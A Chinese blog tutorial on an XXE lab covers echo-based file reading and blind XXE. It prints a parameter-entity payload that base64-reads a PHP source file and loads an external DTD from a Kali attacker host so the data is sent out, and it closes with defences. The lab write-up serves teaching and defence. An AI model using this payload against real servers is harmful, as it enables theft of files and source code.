XXE漏洞【回显读取文件和无回显读取文件】

(若出现排版,乱码等问题请看有道文档)

文档:XXE漏洞【回显读取文件和无回显读取文?..
链接:http://note.youdao.com/noteshare?id=b41700dbd75216812521ad5179e7291b&sub=12F412E07EDC4BDA9C5ABEF0CAD48CB7

 

 

靶场环境

XXE靶场源码:https://github.com/c0ny1/xxe-lab

phpstudy

文件读取

 

靶场打开后界面如下:

用BURP抓包

从数据包中可以看到,数据是利用XML进行传输

把包发送出去

可以看到响应包的内容为usrename

那我们可以使用XML DTD 进行文件读取

我们现在C盘创建一个test.txt

我们把请求包的XML内容进行更改,尝试读取C盘下的test.txt文件

接下来我们尝试读取PHP文件,因为PHP的代码可能因为浏览器会解析的原因导致无法显示

这里我们就需要进行base64编码来显示

解码后即是PHP代码的内容

这是有回显的XXEZ注入。

我们编辑下源码,把报错和结果输出都禁止掉

然后我们再次进行注入尝试就不会得到结果

这个时候我们就要进行参数实体的注入

我们先在kail(192.168.61.130)上开启apache服务

<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php"> <!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml"> %dtd; %send; ]>

% 表示参数实体

第3句代码意思:定义参数实体file   SYSTEM表示参数实体引用外部实体内容  内容为“php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php”

第4句代码意思:定义参数实体dtd 内容为    http://192.168.61.130/evil.xml 里面的内容

第5句代码意思:执行%dtd的代码

第6句代码意思:执行%send代码

evil.xml

然后我们监控下apache的访问日志

然后我们发包

然后我们就能看到apache的访问请求,content参数的内容即为编码后的doLogin.php的代码

 

XML可用的外部实体类型

 

 

防御方法

1、使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据

<!DOCTYPE  <!ENTITY SYSTEM PUBLIC

参考资料

1. XXE漏洞以及Blind XXE总结:https://blog.csdn.net/u011721501/article/details/43775691

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值